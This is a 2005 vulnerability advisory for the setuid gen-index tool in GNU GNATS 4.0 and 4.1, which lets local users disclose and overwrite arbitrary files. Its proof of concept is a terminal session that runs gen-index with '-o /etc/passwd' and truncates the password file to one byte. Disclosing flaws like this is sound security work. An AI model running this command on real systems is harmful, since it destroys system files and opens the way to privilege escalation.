GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability

BID:14169

Info

GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability

Bugtraq ID: 14169
Class: Design Error
CVE:
Remote: No
Local: Yes
Published: Jul 06 2005 12:00AM
Updated: Jul 06 2005 12:00AM
Credit: Discovery is credited to pi3 (pi3ki31ny) <[email protected]>.
Vulnerable: GNU GNATS 4.1
GNU GNATS 4.0
Not Vulnerable:

Discussion

GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability

GNU GNATS gen-index allows local attackers to disclose and overwrite arbitrary files.

A successful attack can result in privilege escalation and a complete compromise of the affected computer as gen-index is installed with setuid permissions.

GNU GNATS 4.0 and 4.1.0 are reported to be affected. Other versions may be vulnerable as well.

Exploit / POC

GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability

An exploit is not required.

The following proof of concept example is available:
pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x 1 root root 465k Nov 21 2004 /usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd

Solution / Fix

GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

GNU GNATS Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability

References:

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